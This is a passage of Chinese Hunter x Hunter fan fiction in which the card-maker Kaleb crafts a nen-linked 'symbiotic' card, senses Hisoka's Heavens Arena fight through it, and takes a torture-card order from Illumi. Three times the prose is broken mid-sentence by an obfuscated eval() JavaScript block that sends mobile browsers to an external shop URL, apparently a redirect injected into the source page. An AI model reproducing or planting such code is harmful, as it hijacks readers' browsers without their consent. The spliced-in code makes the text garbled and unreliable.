「让我知道,我的造物是如何被使用的——无论是被珍惜,还是被毁灭。」 她停下笔,看向工作台角落。 那里放着一个精致的木盒,盒子里是西索在揍敌客给她的那张沾血的鬼牌。牌面上的血迹已经干涸发黑,但那股狂暴的念力残留依然清晰可辨。 迦勒走过去,拿起那张牌。 她的指尖轻轻摩挲牌面,虹膜中的金色流光缓缓流转。 “你想玩,对吗?”她轻声说,像是在对牌说话,又像是在对某个不在场的人说,“那我就做一副能陪你玩到底的牌。” “一副……无论被怎么摧毁,都会把最后画面传回来的牌。” “一副……让我也能‘参与’你的游戏的牌。” 她放下鬼牌,回到设计图前。 笔尖再次落下,开始细化每一个结构参数。 窗外,夜幕降临。 工作室里只有一盏台灯亮着,照在迦勒专注的侧脸上。她的手指在图纸上快速移动,偶尔停下来计算,偶尔在空气中虚划模拟结构。 那些彩色黏液还在密封袋里缓缓流动,像是一滩凝固的彩虹之泪。 但迦勒已经不再看它们了。 她的眼睛看着未来,看着下一副牌,看着一场即将开始的、危险而迷人的新游戏。 7. 共生牌的诞生 决定制作“共生牌”的第二天,迦勒给工作室门口挂上了“闭关中·谢绝打扰”的牌子。 她将手头所有正在进行的订单全部推迟——幸运的是,大部分客户都能理解“艺术家需要灵感迸发期”这种说法。她用预付违约金安抚了几个急单客户,然后彻底切断了与外界的联系。 工作室变成了一个封闭的茧。 窗帘全部拉紧,只留下工作台那一圈冷白色的灯光。迦勒换上了一身深蓝色的工作服——那是她专门为高强度念力作业设计的服装,材质轻薄透气,但关键部位有念力导性纤维,能帮助稳定体内的念力流动。 她要做的第一件事,是准备材料。 “陨铁碎屑……”迦勒从材料库最深处的保险柜里取出了一个铅盒。 打开盒盖,里面是十几粒细小的黑色颗粒。这不是普通的陨铁,而是来自“灾厄流星”的碎片——据说那是一颗在穿过大气层时,与某个念能力者的“死后念”产生共鸣的特殊陨石。碎片有极强的念力亲和性,但也极其不稳定。 迦勒戴上特制的防辐射手套,用镊子夹起一粒碎片,放在显微镜下。 “念频检测……”她闭上眼睛,将一丝念力探入碎片内部。 瞬间,一股狂暴的、混乱的情绪涌入——那是流星坠落时的绝望,是高温熔化的痛苦,是与未知念力碰撞的狂乱。 迦勒的眉头紧皱,但她的手很稳。她引导着自己的念,像梳理乱麻一样,一点点抚平那些混乱的情绪。 “需要至少72小时的念力净化。”她在实验记录卡上写道,“每8小时更换一次净化液。” 她把碎片放进特制的净化皿,倒入淡金色的液体——那是用“净念草”提取的精华,能中和负面念力残留。 接下来是第二件材料:她自己的血液。 迦勒从医疗箱里取出无菌采血针和真空采血管。她坐在工作台前,将左臂的袖子卷到肘部,用酒精棉擦拭肘内侧的皮肤。 针尖刺入静脉的瞬间,她的眉头都没皱一下。 暗红色的血液流入采血管。迦勒抽了10毫升——对普通人来说这不算多,但对念能力者而言,血液里蕴含着个体的“念痕”,是极其私密的媒介。 她把采血管放进离心机,分离出富含念力的血浆部分。淡黄色的血浆在试管中微微发光——那是她念力的具现化。 第三件材料是“情感记忆晶体”。 这是一个只有拇指大小的透明晶体,内部封存着无数细小的光点,每个光点都代表一段强烈的情感记忆。迦勒从一个黑市商人那里高价购得,原本是打算用来制作“情感共鸣系列”扑克——让使用者在特定条件下,能与牌分享情绪体验。 现在,它有更重要的用途。 “需要将晶体切割成54片,每片对应一张牌。”迦勒启动了微型激光切割机,“切割厚度必须精确到微米级,否则会影响记忆读取的完整性。” 激光在晶体表面划过,发出细微的“滋滋”声。迦勒全神贯注地盯着操作屏,手指在控制面板上快速微调参数。 这一阶段花了整整一天。 --- 第三天,材料准备就绪。 迦勒在工作台中央清出了一块绝对干净的区域。她先用念力在桌面上绘制了一个复杂的法阵——那是她自创的“念力稳定场”,能保证在接下来的高强度作业中,材料不会因为念力波动而失控。 然后,她开始了真正的制作。 第一步:基底成型。 她将净化后的陨铁碎屑放入高温熔炉。炉温调到3000度——这是能让陨铁熔化但不破坏其念力结构的临界温度。碎片在炉内缓缓融化,变成一滩暗银色的液体。 迦勒用念力操控着液体,让它流入特制的扑克牌模具。模具是她亲手雕刻的,每一道纹路、每一个角度都经过精密计算。暗银色的液体在模具中冷却、凝固,变成了一张扑克牌的骨架。 第二步:注入“念痕”。 她用一根极细的念力导管,将分离出的血浆注入牌体骨架。血浆顺着骨架内部的微细通道流淌,逐渐填满整个结构。在这个过程中,迦勒必须持续向血浆中灌注自己的念,让牌体与她的“念频”同步。 这是最耗神的一步。 她的额头上渗出细密的汗珠,虹膜中的金色流光以异常缓慢的速度流转——这是念力高度集中的表现。她必须精准控制每一丝念的流向,既不能多,也不能少。多一丝,牌体会因为念力过载而崩解;少一丝,牌体与她的连接会不够紧密。 三个小时后,第一步完成。 一张半透明的、内部流淌着淡金色脉络的牌体骨架出现在工作台上。它还没有图案,没有颜色,但已经能微弱地回应迦勒的念——当她将手指轻触牌面时,牌体内部的金色脉络会微微发亮。 第三步:植入记忆晶体。 迦勒用镊子夹起一片切割好的晶体薄片——它薄得几乎看不见,只有对着光才能看到边缘的彩虹色反光。 她将薄片放在牌体骨架的正中央,然后用念力引导它“融入”骨架结构。这不是物理上的融合,而是念力层面的链接——晶体将成为牌体的“记忆中枢”,记录牌经历的一切。 “感知协议链接……建立。” “视觉回传协议……建立。” “状态监控协议……建立。” 迦勒一边操作,一边低声念出每一个步骤。她的声音越来越轻,呼吸也越来越缓——这是念力消耗过大的表现。 第五个小时,她的手指开始微微颤抖。 第七个小时,她的视线开始模糊。 但她没有停。她知道,一旦中断,之前的所有努力都会白费,材料也会报废。 第九个小时—— “嗡!” 工作台上的法阵突然剧烈震动!牌体骨架内部的念力回路出现了紊乱,金色脉络开始无序地闪烁! “糟糕……”迦勒咬牙,双手按住工作台边缘,强行将更多的念力注入法阵,试图稳定局势。 但她的念力已经接近枯竭。 视野边缘开始出现黑斑。耳朵里传来嗡鸣声。她能感觉到,体内的“气”正在快速流逝,像是开了闸的水库。 “不能……失败……” 她咬破自己的舌尖。 剧痛和血腥味让她瞬间清醒了一些。她深吸一口气,将最后一点念力全部灌注进牌体—— “给我……稳定下来!” 金色的光芒从她身上爆发,笼罩了整个工作台。法阵的震动逐渐平息,牌体内部的脉络重新开始有序地流动。 然后,一切归于平静。 迦勒瘫坐在椅子上,大口喘着气。她的脸色苍白如纸,嘴唇因为失血而干燥开裂。妆容也因汗水微微晕开。 但她成功了。 工作台上,一张完整的扑克牌静静地躺着。 牌面是深黑色,上面用银线勾勒出优雅的黑桃A图案。但与普通扑克不同的是,这张牌的边缘有一圈极细的、几乎看不见的金色纹路——那是迦勒的“念痕”在牌体表面的具现化。 最神奇的是,当迦勒伸手触碰牌面时,她能感觉到…… 心跳。 迦勒有些恍惚,静下心仔细辨认。那是不属于她的心跳,那是牌的心跳。一种微弱但清晰的、有规律的搏动,通过指尖传递过来。 她闭上眼睛,将念力探入牌中。 瞬间,她“看”到了—— 工作室的灯光。工作台的纹理。她自己苍白的脸。 这是牌“看”到的画面。清晰度不高,像是透过一层薄雾,但确实能看见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046700|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她又尝试了听觉:能听到她的呼吸声,远处街道隐约的车流声。 触觉:能感觉到工作台冰凉的表面。 “成功了……”迦勒喃喃道,嘴角艰难地扯出一个笑容。 就在这时,她的通讯器响了。 在谢绝打扰的静音模式下,特设的“紧急联系人”提示音——她只给三个人设了这个权限:猎人协会的紧急联络官、她的材料供应商,以及西索。 迦勒盯着通讯器看了五秒,最终还是按下了接听键。 视频通话画面跳出来。 西索的脸出现在屏幕里。背景看起来像是某个刚经历过爆炸的废墟——断墙、焦黑的痕迹、还有远处冒烟的建筑。他脸上有新鲜的伤口,头发沾满灰尘,但笑容一如既往地灿烂。 “呀~供应商小姐,好久不见?”他挥挥手,“新牌什么时候好?我手痒了?” 迦勒沉默地看着他。 两秒后,她举起手中刚刚完成的共生牌黑桃A,对准镜头。 “看到了吗?”她的声音因为疲惫而沙哑,“这就是。” 西索眯起眼睛,凑近屏幕:“哦呀~颜色很漂亮呢。但怎么只有一张?我要一套哦~” 迦勒深吸一口气,然后用尽最后一点力气,一字一句地说: “这一张,我做了三天。(真的)” “消耗了我十分之一的念力储备。(假的,差点抽干)” “过程中我晕倒了一次,吐了两次血。(假的,吐了一次而已)” “如果你想要一套五十四张……”她盯着屏幕里的西索,“那你最好做好等一年,以及付出一座金矿的准备。(这是真的)” 西索眨了眨眼。 然后他笑了——低低的、带着某种欣赏意味的笑。 “供应商小姐,”他说,“你现在的样子……很诱人呢~?” 迦勒没力气跟他斗嘴。她只是重复:“所以,别催。还有,这张牌……” 她将牌举得更近些,让西索能看清牌面上的每一个细节。 “这次,请温柔些。”她轻声说,“至少在我‘看’的时候。” 西索的瞳孔微微放大。 他听懂了。 “你能‘看’到?”他的声音里第一次出现了真正的好奇。 “牌看到什么,我就能看到什么。”迦勒说,“牌听到什么,我就能听到什么。牌感受到什么……我就能感受到什么。” 长久的沉默。 屏幕里,西索的表情变了。那种戏谑的、玩味的笑容慢慢褪去,取而代之的是一种专注的、近乎痴迷的神情。 他盯着那张牌,像是盯着世界上最珍贵的宝物。 “我以为我已经很那个了,没想到你更~但是……我喜欢!??”他说:“我要它。”声音很轻,但不容置疑,“现在就要。” “明天寄出。”迦勒说,“加急快递,运费你付。” “好。” 通话结束。 迦勒放下通讯器,整个人瘫在椅子上。她看着手中的共生牌黑桃A,牌面在灯光下反射着幽深的光泽。 她能感觉到牌的心跳——稳定、有力,像是刚刚诞生的生命。 她将牌贴在胸口,闭上眼睛。 “去吧。”她轻声说,“去看看他能带给你什么样的‘人生’。” --- 第二天,共生牌黑桃A被装进特制的念力屏蔽盒,寄往西索指定的地址。 迦勒在盒子里附了一张纸条,只有一句话: 「别死了——至少在这张牌彻底坏掉之前。」 她不知道西索会怎么用这张牌。也许是当成普通的扑克去战斗,也许会用削苹果,也许会用它来做更疯狂的事。 但无论如何,这次…… 她会亲眼看着。 8. 共生牌首次激活 共生牌寄出后的第四天,迦勒正在尝试恢复被消耗的念力。 她盘腿坐在工作室中央的冥想垫上,双手结印,闭目调息。空气中漂浮着淡淡的熏香——那是用“静心草”和“凝神香蜡”混合制成的,能帮助念能力者更快地恢复。 进展……很慢。 共生牌的消耗比她预想的要大。不是念力量的消耗,而是某种更本质的东西——她感觉自己的“念频”被永久性地分出了一小部分,随着那张牌一起寄给了西索。就像身体里少了一个器官,虽然不影响生存,但总感觉哪里不对劲。 “这就是过度深入的‘念痕绑定’的代价吗……”迦勒睁开眼,叹了口气。 她拿起旁边的工作平板,调出共生牌的设计图,开始记录副作用: 【日期:二月十二日】 【状态:寄出共生牌黑桃A第4天】 【自身念力恢复进度:37%】 【异常症状:间歇性心悸(推测与牌体共鸣)、轻微幻听(疑似接收到牌体周围环境音)、注意力难以集中】 【建议:下次制作需降低‘念痕’绑定深度,或分批制作以分摊负担】 刚写完最后一行,那种感觉又来了。 心悸。 这种非病理性的,心脏像是被“线”缠绕拽住,而线的另一头不紧不慢的拉着。她能感觉到,在很远的地方,那张牌被激活了。她的心跳和牌的心跳开始同步,一下,两下,三下——然后稳定在同一个频率。 迦勒放下平板,闭上眼睛。 她不需要主动去“看”——当牌被使用者灌注念力时,连接会自动建立。这是共生牌的特性:只有在被使用时,才会开启实时反馈。 连接建立。 首先涌来的是触感。 冰冷—硬—某种金属表面的触感——牌被夹在指间。指尖的温度,施加的压力,还有……轻微的血腥味?牌面上沾了血,刚沾上的,还没干。 然后是声音。 人群的喧嚣。欢呼声,呐喊声,还有解说员激昂的声音通过扩音器传来:“——西索选手使出了他的招牌飞牌!这一击的速度和精准度简直令人惊叹!” 天空竞技场。 迦勒立刻判断出了位置。她在那里买过VIP票,听过那种独特的回音效果。西索果然在比赛中用了那张牌。 视觉画面开始清晰。 视角在移动。 从西索的指间飞出,在空中高速旋转。迦勒“看”到了下方的擂台——标准的天空竞技场200层规格,八角形,周围是密密麻麻的观众席。对手是个体格壮硕的强化系,正用双臂护住要害,试图抵挡飞来的牌。 牌刃精准切入皮肤。 迦勒能感觉到牌刃遇到阻力时的微颤,一瞬间滑腻的包裹感,能“听”到肌肉纤维被切断的细微声音。血溅到牌面上,温热,黏稠。 然后牌飞回。 西索用“伸缩自如的爱”把牌拉了回去。牌在空中划过一道弧线,稳稳落回他指间。他用拇指抹去牌面的血迹,动作优雅得像在擦拭一件艺术品。 迦勒通过牌的“眼睛”,看到了西索此刻的表情。 他在笑。嘴角微扬的、专注的浅笑。 他的眼睛紧紧盯着对手,瞳孔微微收缩,像是在欣赏一颗已然成熟却未脱离枝叶的果实。 “不错嘛~”西索的声音通过牌的“耳朵”传来,“比看起来要耐打呢?” 对手怒吼着冲过来。强化系的念包裹全身,让他的皮肤泛出金属般的光泽。一拳挥出,带起破风声。 西索没有躲。 他举起那张黑桃A,用牌的边缘——不是牌刃,而是侧面——迎向拳头。 “铛!” 金属碰撞的声音。迦勒能感觉到牌体承受的冲击——很大,但没到极限。共生牌的陨铁骨架吸收了大部分力量,只是微微震颤。 西索的手指一抖。 牌在他指间翻转了180度,从防御姿态变成了攻击姿态。他手腕一甩,牌化作一道黑色的流光,直射对手的咽喉。 对手紧急后仰,牌刃擦着脖颈飞过,留下一道血痕。 “漂亮的躲避?”西索称赞道,手指一勾,牌又在空中转向,从另一个角度飞回。 接下来的三分钟,迦勒经历了一场……奇妙的体验。 她通过一张牌的视角,“参与”了一场200层级别的战斗。她能感觉到每一次牌刃切入□□时的阻力,能“听”到西索每一次呼吸的频率变化,甚至能隐约感受到西索灌注在牌中的念——那种黏稠的、富有弹性的、像是活物般的念。 最诡异的是,她开始能“读懂”西索的战斗节奏。 飞射力度、攻击的角度,要造成什么样的伤害。迦勒甚至不需要思考,就知道下一次牌会击中哪个部位。 当西索准备发起猛攻时,牌的心跳会加速;当他准备戏耍对手时,牌会微微震颤,像是在笑;当他真正认真起来时,牌会变得异常稳定,所有的震颤都消失了,只剩下绝对的精准。 “他居然……这么强。”迦勒在意识中喃喃。 她一直知道西索是顶尖的念能力者。但知道和“体验”是两回事。通过牌的视角,她能直观地感受到那种压倒性的技巧、速度和战斗智慧。 对手不是弱者——能在天空竞技场打到200层的,都是经验丰富的念能力者。但在西索面前,他像个笨拙的孩子,所有的攻击都被轻易化解,所有的防御都被精准突破。 战斗接近尾声。 西索玩够了。 迦勒能感觉到——因为牌的心跳突然变得极其平缓,平缓得不正常。那是暴风雨前的宁静。 西索将牌举到唇边,轻轻吻了一下牌面。 这个动作让迦勒浑身一颤——她能“感觉”到那个吻。温热、柔软、带着一丝血腥味的唇,贴在冰冷的牌面上。 “最后一击哦~”西索轻声说,声音温柔得像在对情人低语,“给这场演出一个华丽的收尾吧?” 牌飞出。 不是直线,不是弧线,而是一种诡异的回旋轨迹。它绕着对手旋转,速度越来越快,留下一道道黑色的残影。对手试图用念防御,但牌总能找到防御的缝隙——一个极其微小的、转瞬即逝的缝隙。 第一刀,切断了对手的跟腱。 第二刀,划开了手腕的肌腱。 第三刀,第四刀,第五刀…… 不是致命伤,但每一刀都精准地废掉一个关节或一条肌肉。对手像个人偶一样,被无形的丝线操控着,缓慢地、不可逆转地崩溃。 最后,牌停在对手的咽喉前。 牌刃抵着皮肤,微微下压,但没有切开。 西索走过来,用两根手指夹回牌。他低头看着倒在地上、浑身是血但还活着的对手,露出满意的笑容。 “认输吗?”他问。 对手艰难地点头。 裁判宣布比赛结束。西索获胜。 观众席爆发出震耳欲聋的欢呼。西索举起手,向观众致意,然后转身走向选手通道。 迦勒以为连接要中断了——比赛结束,牌应该不会再被使用。 但她错了。 选手通道里没有观众,只有昏暗的灯光和冰冷的墙壁。西索走到一个无人的拐角,停下脚步。 他举起那张黑桃A,对着灯光仔细端详。 牌面上沾满了血,但深黑色的基底让血迹不那么显眼。银线勾勒的黑桃图案在血污中若隐若现,反而有种诡异的美感。 “供应商小姐~”西索突然开口,像是在对牌说话,“你看到了吗?” 迦勒浑身僵住。 他知道?!他知道她在看! “刚才的战斗,”西索用指尖轻轻摩挲牌面,“精彩吗??” 他等了几秒,像是在等回应。 当然,牌不会说话。 但他似乎并不在意。他只是继续自言自语: “这张牌……手感真的很棒呢。比我用过的任何牌都要好。切割时的流畅度,飞行的稳定性,还有……”他顿了顿,“和你之间的‘感应’。” 他用指甲轻轻敲了敲牌面。 迦勒能感觉到那轻微的震动。 “我能感觉到哦,”西索的声音压得很低,带着某种危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046701|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲昵,“你在看,在听,在感受。对吧?” 又是一阵沉默。 然后西索笑了,低沉又夹杂着战后的余兴。 “真是……太有趣了?”他把牌举到眼前,那双金色的眼睛透过牌,仿佛直接看到了远在友客鑫的迦勒,“我们这算不算是……间接kiss了?毕竟我的嘴唇碰到了牌,而牌是你的‘延伸’~” 迦勒的脸颊瞬间发烫。 她猛地断开连接。 砰。 她睁开眼睛,发现自己还在工作室的冥想垫上。但心跳快得离谱,脸上热得像是发烧。 “这个……疯子……”她咬牙切齿地低声说。 但她的手指尖…刚才那个吻的感觉……还残留着。不是真实的触感,而是通过念的连接传递过来的、模糊的、但确确实实存在的触感。 迦勒甩甩头,试图把那种诡异的感觉甩出去。 她站起身,走到工作台前,想用工作分散注意力。但手指碰到平板屏幕时,她发现自己的指尖在微微颤抖。 通讯器响了。 还是西索。 迦勒盯着闪烁的屏幕,犹豫了十秒,最终还是接了——但没开视频。 “干嘛?”她的声音尽可能保持平静。 “刚才为什么断开连接?”西索的声音从听筒里传来,带着明显的笑意,“害羞了??” “我只是觉得没必要继续看。”迦勒说,“比赛已经结束了。” “是吗~但我都还没说完呢,明明很有趣的?” 迦勒深吸一口气:“你到底想说什么?” “我想说……”西索顿了顿,“谢谢你。” “……谢我什么?” “谢谢你做了这张牌。”西索的声音突然变得认真——那种很少见的、不掺杂戏谑的认真,“让我体验到了一种……全新的玩法。” 迦勒沉默了。 她没想到会听到感谢。 “你知道吗,”西索继续说,“以前我用牌战斗时,就像是在弹奏一架钢琴——只有我能听到琴声。但现在……”他轻笑,“像是有了一个听众。一个能听懂每一个音符的听众。” 迦勒的手指收紧。 “我不是你的听众。”她说,“我只是……牌的制作人。确保作品被正确使用是我的职责。” “是吗?”西索的声音又带上了那种调笑的意味,“那你为什么要断开连接?如果只是‘职责’,应该继续观察才对呀~” 迦勒被噎住了。 “我……我要去工作了。”她生硬地转移话题,“账单明天发给你。还有,牌需要清洁,血迹会腐蚀涂层。用纯净水轻轻擦拭,不要用任何化学清洁剂。” “好~好~都听小迦勒的?”西索笑着应道,“对了,下一张什么时候能做好?我想要红心K。” 迦勒尽力忽视称呼的转变,检查了下自己还没完全恢复的念力,又看了眼设计图上密密麻麻的注意事项才做出计划。 “一个月后。”她说,“而且价格会比这张贵50%。” “为什么?” “因为这次我知道需要预留多少念力来应对‘副作用’。”迦勒面无表情地说,“以及,要加收‘精神损失费’——观看你的战斗对我的心理健康有不良影响。” 电话那头传来西索开怀的大笑。 “好嘛~”他说,“账单随便开,我照付。只要你继续做这样的牌给我~” 通话结束。 迦勒放下通讯器,靠在椅背上。 她的指尖还残留着刚才通过牌传递过来的触感,下意识摩挲指腹。紧接着羞耻感涌上脸颊。 “疯了。”她对自己说,“我也疯了。” 但她还是打开设计图,开始构思红心K的结构。 窗外的夜色渐深。 工作室里,只有笔尖划过纸张的沙沙声,和一个念能力者逐渐恢复平稳的心跳声。 而在千里之外的天空竞技场,西索正轻柔擦拭着一张黑色的牌。 他对着牌面低语: “奇怪的感觉…但还不错。下次,让你看点更精彩的东西吧?” 9. 灵感与账单齐飞 共生牌黑桃A的“首次实战测试”过去一周后,迦勒终于把念力恢复到了八成。 这期间她收到了西索寄回的牌——装在特制的防震盒里,还附赠了一小瓶天空竞技场纪念版沐浴露(??西索你?),迦勒嘴角抽抽,没多看一眼,直接丢回盒子里。 迦勒用镊子夹着那张牌,牌身基本完好,只是边缘有几道细微的划痕,以及……那个被西索画在裂痕处的笑脸。 “油性马克笔,防水,估计擦不掉了。”她面无表情地评价,“而且画得真丑。” 但不知为何,她没有立刻清洁牌面,而是把它放进了展示柜——专门存放“有故事的作品”的那个柜子。黑桃A被安置在虹彩系列残骸的旁边,一完好一残破,形成诡异的对比。 “就当是客户反馈的艺术化表达。”她对自己说,然后转身投入工作。 新系列的设计已经在她脑海里酝酿很久了。基于共生牌的实战数据,结合她通过牌“感受”到的西索的战斗风格,一套全新的构思逐渐成型。 她称之为:“血月舞踏”系列。 --- 三天后,设计图完成。 迦勒坐在工作台前,屏幕上显示着全套五十四张牌的三维模型。每张牌的设计都不同,但整体风格统一:牌面以深红和暗金为主色调,图案采用流动的、如同舞者般的线条。最特别的是,她在每张牌里都设计了微型的念力导流槽——不是为了让牌飞得更快,而是为了让牌在空气中移动时,能发出极其细微的、如同舞曲般的音效。 “战斗时的配乐。”迦勒托着下巴,欣赏自己的设计,“虽然可能只有他自己能听见。” 她做了两件事。 第一件:将设计稿打包,附上详细的技术参数和预计造价,发往西索的加密信箱。邮件正文简洁明了: 「新系列“血月舞踏”概念图。」 「基于共生牌黑桃A的实战数据优化了空气动力学和结构强度。」 「预付50%可优先排队,预计工期三个月。」 「回复期限:一周内。」 第二件:从档案里调出虹彩系列的订单记录,重新核算了一份补充账单。 这次她加了几项新条目: 【虹彩系列·补充账单】 1.材料重置费(已支付) 2.工时补偿费(已支付) 3.精神损失费(新增):5,000,000戒尼 ·理由:目睹117种精心设计的光学方案被酸性黏液逐一溶解,对创作者造成持续性心理创伤 4.情感价值损失费(新增):10,000,000戒尼 ·理由:该系列包含创作者对“光与色彩之美”的哲学思考,其毁灭相当于损毁一件艺术品 5.后续治疗费(新增):2,300,000戒尼 ·理由:为缓解上述创伤,需定期接受心理辅导及艺术疗愈课程 总计:17,300,000戒尼 迦勒盯着那个数字,想了想,又加了一条备注: 「备注:若一周内付清,可享95折优惠。逾期将按日收取滞纳金(日利率0.05%)」 “完美。”她满意地点点头,将账单发出。 --- 两小时后,西索的回信来了。 不是邮件,是直接发到通讯器的加密图片。迦勒点开——这家伙真是辣眼睛,他除了打架没别的事干吗? 照片是在某个废墟拍的。背景是倒塌的混凝土墙和扭曲的钢筋,地面有焦黑的痕迹和……几滩暗红色的液体。西索半躺在一堆碎石上,小丑装破了好几个口子,露出下面缠着绷带的皮肤。他脸上有新鲜的血迹,但笑容灿烂得像在度假。 照片下面附了文字: 「供应商小姐的新设计图我收到啦~很漂亮呢?」 「血月舞踏……名字也很好听?」 「不过在这之前,你寄来的补充账单是怎么回事?我数学不好,看不懂哦~」 「PS:牌说它玩得很开心,就是有点累。我在裂痕处给它画了个笑脸,让它看起来精神点??—U—??」 「PPS:新系列我要全套。钱能不能从你欠我的‘观看费’里扣?毕竟我让你免费看了那么多场精彩演出呢?」 迦勒盯着那条“观看费”,眉毛挑了起来。 她快速回复: 「关于‘观看费’的核算如下:」 「1.天空竞技场200层普通席票价:50,000戒尼/场」 「2.VIP包厢票价:200,000戒尼/场」 「3.本人通过牌观看属于‘远程低清盗摄’,画质差、音效劣、且伴有强烈精神污染」 「4.综上,按最低标准(普通席)的0.4%折算,每场观看费为200戒尼」 「5.截至目前共观看3场,合计600戒尼」 「账单扣除‘观看费’600戒尼后,您仍需支付:」 「17,300,000-600=17,299,400戒尼」 「另:鉴于您对牌体的二次涂鸦行为(笑脸图案),需加收‘擅自修改艺术品’罚款:500,000戒尼」 「以及‘使用非专业涂料可能导致牌体腐蚀’的风险保证金:1,000,000戒尼」 「最终应付总额:18,799,400戒尼」 「付款期限:三天。逾期将启动‘债务追讨程序’——具体包括但不限于:委托揍敌客家上门催收、在您下一批牌中加入持续性痒痒粉、以及向猎人协会举报您恶意拖欠工匠账款。」 点击发送。 三十秒后,通讯器响了。 迦勒接起来,还没说话,就听到西索委屈(假装)的声音: “小迦勒~你欺负人?” 迦勒面无表情:“西索先生,请正常说话。” “可是200戒尼一场也太少了吧!”西索的声音瞬间恢复正常,带着笑意,“我在天空竞技场的表演,黄牛票都能炒到一百万以上呢。你那个‘远程低清盗摄’的形容也太伤人了?” “事实如此。”迦勒说,“画面模糊,视角受限,而且经常突然断连——就像网速不好的直播。” 西索在电话那头笑出声:“那下次我找个信号好点的地方打?” “重点不是这个。”迦勒揉了揉太阳穴,“账单你到底付不付?” “付~当然付~”西索拖长声音,“但我真的没钱了嘛。你知道的,天空竞技场打上200层以后都没有奖金了……要不这样,我肉偿?” 迦勒沉默了两秒。 “……肉偿?” “对啊。”西索的声音变得暧昧,“比如……给你当模特?你不是需要战斗数据优化设计吗?我可以现场演示,你想看什么姿势都可以哦?” 迦勒的嘴角抽搐了一下。 “不需要。”她冷冷地说,“我有足够的实战录像。而且你当模特的费用,可能比你欠的债还贵——考虑到你的危险等级和保险费率。” “真无情~”西索叹气,“那要不我帮你接几个单子?我知道有几个富豪很喜欢收集稀有念具,介绍费抽成……” “我有稳定的客户渠道。”迦勒打断他,“你现在只有两个选择:一,三天内付清欠款;二,我把你拉进黑名单,从此不再接你的订单。” 电话那头沉默了。 过了大概五秒,西索的声音再次响起,这次变得异常轻快: “好吧好吧~我付就是了。不过小迦勒,你真的不考虑‘肉偿’选项吗?我身材还不错哦?” “再见。” 迦勒挂断电话。 她盯着通讯器,突然觉得心累。和西索打交道就像在玩一场永远无法预测对方下一步的棋局——你以为他在将军,其实他只是在给你的棋子画笑脸。 就在这时,通讯器又响了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046702|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次不是西索,是一个陌生的加密号码。迦勒犹豫了一下,还是接了。 “您好,迦勒女士。”平直、缺乏起伏的电子音传来,“我是伊路米·揍敌客。” 迦勒:“……” 她今天是不是不宜接电话? “伊路米先生,有什么事吗?”她尽量让声音保持专业。 “关于您之前为西索制作的‘臭气牌’。”伊路米开门见山,“那种技术可以批量生产吗?揍敌客最近在更新刑讯设备,需要一种非致命但能有效瓦解抵抗意志的辅助工具。” 迦勒捏了捏鼻梁。 “那是定制产品,而且含有针对特定使用者的触发机制。”她说,“批量生产需要重新设计,成本会很高。” “成本不是问题。”伊路米说,“我们需要的是效果。据西索的描述,那种臭气‘足以让最顽固的俘虏在三分钟内交代一切’。这是真的吗?” 迦勒回想了一下西索在浴室里笑得前仰后合的画面。 “……可能对某些人效果会打折扣。”她谨慎地说,“但理论上,那种气味组合确实能触发强烈的生理厌恶反应。” “很好。”伊路米说,“我需要定制200套。每套包含五十四张牌,每张牌触发不同的气味——痛苦、恐惧、绝望、等等。可以做到吗?” 迦勒的大脑开始飞速计算。 200套,每套54张,就是10800张牌。每张牌需要单独的念力回路设计、气味配方调试、还有触发机制编程…… “工期至少六个月。”她说,“而且需要预付70%的材料费。另外,由于涉及大规模念力作业,我需要雇佣临时助手,人力成本另计。” “可以。”伊路米没有任何犹豫,“合同模板我发给你,你看完后回传。首批预付款明天到账。” 通话结束。 迦勒看着通讯器,一时间不知道该摆出什么表情。 一方面,这是一笔大单——大到足以让她未来半年都不用接其他工作。另一方面……为揍敌客家制作刑讯工具,这似乎和她“创造快乐”的品牌理念有点冲突。 “就当是……帮助执法机构提高审讯效率吧。”她自我安慰道,“而且伊路米付钱真的很爽快。” 她正准备开始起草合同,通讯器又震了。 还是西索。 这次是短信: 「钱已付~查收哦?」 「另:那张照片有没有存下来?我觉得拍得挺好的?」 「再另:新系列的预付款明天打给你。我要第一个拿到全套?」 「再再另:下次做牌的时候,能不能在牌里藏个小惊喜?比如……碰到我的血会浮现你的笑脸之类的?」 迦勒盯着那条“碰到血浮现笑脸”的建议,额头青筋跳了跳。 她点开西索发来的那张照片,放大,盯着西索血渍拉乎的笑脸看了三秒。 然后点击删除。 “这个家伙真是越看越讨厌。”她自言自语,“要不是顾客是上帝,早给你拉黑名单了。” 但说归说,她还是打开了“血月舞踏”的设计文件,开始思考…… 也许,真的可以在牌里加个隐藏图案? 不是笑脸。太幼稚了。 也许……一只黑桃形状的蝴蝶?或者一行微小的文字? 她摇摇头,把那些想法甩出脑海。 